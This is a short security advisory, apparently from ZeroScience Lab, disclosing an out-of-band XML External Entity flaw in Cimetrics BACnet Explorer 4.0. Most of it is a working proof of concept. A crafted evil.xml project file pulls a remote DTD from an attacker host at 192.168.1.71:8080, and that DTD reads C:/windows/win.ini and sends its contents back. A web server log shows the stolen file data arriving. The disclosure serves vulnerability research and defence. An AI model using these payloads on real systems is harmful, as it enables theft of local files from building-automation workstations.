Cimetrics BACnet Explorer 4.0 XXE Injection
Posted on 13 February 2017
Cimetrics BACnet Explorer 4.0 XXE Vulnerability Vendor: Cimetrics, Inc. Product web page: https://www.cimetrics.com Affected version: 4.0.0.0 Summary: The BACnet Explorer is a BACnet client application that helps auto discover BACnet devices. Desc: BACnetExplorer suffers from an XML External Entity (XXE) vulnerability using the DTD parameter entities technique resulting in disclosure and retrieval of arbitrary data on the affected node via out-of-band (OOB) attack. The vulnerability is triggered when input passed to the xml parser is not sanitized while parsing the xml project file. Tested on: Microsoft Windows NT 6.1.7601 Service Pack 1 mscorlib.dll: 4.0.30319.34209 built by: FX452RTMGDR BACstac Library: 1.5.6116.0 BACstac Service: 6.8.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5398 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5398.php 30.01.2017 -- Open file evil.xml: <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE zsl [ <!ENTITY % remote SYSTEM "http://192.168.1.71:8080/xxe.xml"> %remote; %root; %oob;]> xxe.xml on the web server: <!ENTITY % payload SYSTEM "file:///C:/windows/win.ini"> <!ENTITY % root "<!ENTITY % oob SYSTEM 'http://192.168.1.71:8080/?%payload;'> "> pyhon -m SimpleHTTPServer 8080 lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1 HTTP/1.1" 301 - lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1/ HTTP/1.1" 200 -